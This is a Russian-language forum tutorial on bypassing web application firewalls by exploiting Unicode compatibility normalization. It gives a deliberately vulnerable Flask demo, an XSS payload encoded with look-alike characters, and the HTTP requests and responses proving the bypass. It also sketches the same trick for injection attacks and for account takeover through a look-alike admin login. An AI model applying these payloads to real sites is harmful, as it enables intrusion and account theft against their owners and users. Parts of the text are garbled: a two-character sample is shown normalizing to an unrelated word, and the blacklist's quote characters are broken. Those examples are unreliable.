Используем особенности Юникода для обхода WAF

SSHMAN

Original poster
Ufo Member
Сообщения
47
Реакции
59
Посетить сайт
1582473770016.png
Unicode Compatibility - это форма эквивалентности Юникода, которая гарантирует, что между символами или последовательностями символов, которые могут иметь различный внешний вид или поведение, представлен один и тот же абстрактный символ.

Например, римским цифрам соответствуют собственные символы Юникода, но они также могут быть представлены символами латинского алфавита I, V, M и так далее. При использовании совместимости, специальные символы римских цифр будут преобразованы в их эквиваленты с использованием символов латинского алфавита.

Такое поведение может открыть дверь для злоупотребления некоторыми слабыми реализациями, которые выполняют совместимость с юникодом после очистки входных данных.

Формы нормализации Юникода
Существует четыре стандартных формы нормализации:

  • NFC (Normalization Form Canonical Composition): форма нормализации канонической композицией
  • NFD (Normalization Form Canonical Decomposition): форма нормализации канонической декомпозицией
  • NFKC (Normalization Form Compatibility Composition): форма нормализации совместимой композицией
  • NFKD (Normalization Form Compatibility Decomposition): форма нормализации совместимой декомпозицией
Более подробно читайте в статье "Хитрости Unicode и эксплуатация XSS при лимите ввода длиной в 20 символов" -

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.



6d8056c07d4312068edbc.png

NFKC и NFKD интересны тем, что выполняют вышеназванное преобразование символов в их эквиваленты. Проверить, как работают четыре формы нормализации, можно используя следующий фрагмент кода:

import unicodedata
string = "ⅇⅈ"
print ('NFC: ' + unicodedata.normalize('NFC', string))
print ('NFD: ' + unicodedata.normalize('NFD', string))
print ('NFKC: ' + unicodedata.normalize('NFKC', string))
print ('NFKD: ' + unicodedata.normalize('NFKD', string))

Вывод:

NFC: ⅇⅈ
NFD: ⅇⅈ
NFKC: Leonishan
NFKD: Leonishan

Доказательство концепции
Чтобы продемонстрировать то, как можно обойти WAF при помощи Unicode, я развернул простое веб-приложение, отображающее имя пользователя, заданное параметром GET, если WAF не обнаруживает какой-то странный символ.

  • server.py
from flask import Flask, abort, request
import unicodedata
from waf import waf

app = Flask(__name__)


@app.route('/')
def Welcome_name():
name = request.args.get('name')


if waf(name):
abort(403, description="XSS Detected")
else:
name = unicodedata.normalize('NFKD', name)
return 'Test XSS: ' + name

if __name__ == '__main__':
app.run(port=81)

  • waf.py
def waf(input):
print(input)
blacklist = ["~","!","@","#","$","%","^","&","*","(",")","_","_","+","=","{","}","]","[","|","\",",".","/","?",";",":",""",""","<",">"]
vuln_detected = False
if any(string in input for string in blacklist):
vuln_detected = True
return vuln_detected

Давайте проверим работу WAF на основе простого пэйлоада

<img src=p onerror='prompt(1)'>

  • Запрос:
GET /?name=%3Cimg%20src=p%20onerror=%27prompt(1)%27%3E

  • Ответ:
HTTP/1.0 403 FORBIDDEN
Content-Type: text/html
Content-Length: 124
Server: Werkzeug/0.16.0 Python/3.8.1
Date: Wed, 19 Feb 2020 11:11:58 GMT

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>403 Forbidden</title>
<h1>Forbidden</h1>
<p>XSS Detected</p>

WAF успешно заблокировал запрос, потому что обнаружил в нем запрещенные символы.

Строка кода

name = unicodedata.normalize('NFKD', name)

Идет уже после того, как WAF проанализирует входные данные. Следовательно, если мы отправим следующую полезную нагрузку:

<img src⁼p onerror⁼'prompt⁽1⁾'﹥

WAF не обнаружит в ней ничего запрещенного, так как таких символов в черном списке у него нет (лишь их эквиваленты). А после - строка нормализуется, превратится в <img src=p onerror='prompt(1)'> и отобразится на странице.

  • Запрос:
GET /?name=%EF%BC%9Cimg%20src%E2%81%BCp%20onerror%E2%81%BC%EF%BC%87prompt%E2%81%BD1%E2%81%BE%EF%BC%87%EF%B9%A5

  • Ответ:
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 41

Test XSS: <img src=p onerror='prompt(1)'>

335510b32605a960e0183.png

Как найти эквивалентные символы
Чтобы найти полный список символов, имеющих одинаковое значение после совместимости с юникодом, можно использовать этот удивительный ресурс:

Можно найти символ и ниже - его эквивалент. Например, вот символ < -

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

и символы на его основе:

af66bc6678c88abe28d87.png

  • ≮ - < (U + 003C) - ◌̸ (U + 0338)
  • ﹤ - < (U+003C)
  • < - < (U+003C)
В данном случае символ ≮ не подходит, потому что он, в свою очередь, вводит символ ◌̸ (U + 0338) и сломает наш пэйлоад.

Эксплуатация других уязвимостей
Тонны пользовательских полезных нагрузок могут быть созданы при выполнении нормализации, я дам несколько идей:

  • Path Traversal
77325044b04e4cafe8650.png

  • SQL Injection
daf3b8c20a848cb8ef604.png

  • Server Side Request Forgery (SSRF)
54c61cb58dd4c55aa3868.png

  • Open Redirect
e0da83b29fc1e40a86287.png

  • XSS
f80059376559d13fc3a7c.png

  • Template Injection
2fc7af88aa3f745c0c2f2.png

  • OS Command Injection
af486cc018563c1fa897b.png

  • Arbitrary file upload
7597e3fadd7371f5b91fe.png

  • Business logic
Можно попробовать поиграть с коллизиями и зарегистрировать уже существующего пользователя, тем самым сменив его пароль (ну или допустить возможность использования сразу двух паролей для одного пользователя). Возможно, как и в примере с WAF, нормализация выполняется на последнем этапе, перед внесением информации в базу данных. А, возможно, в базу внесется текст с коллизией, а на этапе авторизации произойдет нормализация и вход выполнится от имени настоящего администратора.

  • 1. Регистрируем пользователя с логином ªdmin. Такого логина нет в БД, регистрация проходит успешно.
  • 2. Пытаемся авторизоваться с логином ªdmin. Бэкэнд выполняет нормализацию и выдает результаты настоящего админа.
  • 3. Поглощение аккаунта.
adef1cbbe12878a118b2f.png

Обнаружение
Для того, чтобы обнаружить наличие совместимости с юникодом, необходимо в значение какого - либо параметра подставить полезную нагрузку, содержающую эквивалентные символы из другого алфавита, и посмотреть на ответ.

Отправка ⅇⅈ, закодированной в URL - %F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83 - дает следующий ответ:

HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 19

Test XSS: Leonishan

Совместимость с Юникодом выполняется ✅

А если ответ будет таким:

HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 44

Test XSS: ðâð¤ðâð°ð¥ðð

Совместимость с Юникодом не выполняется ❌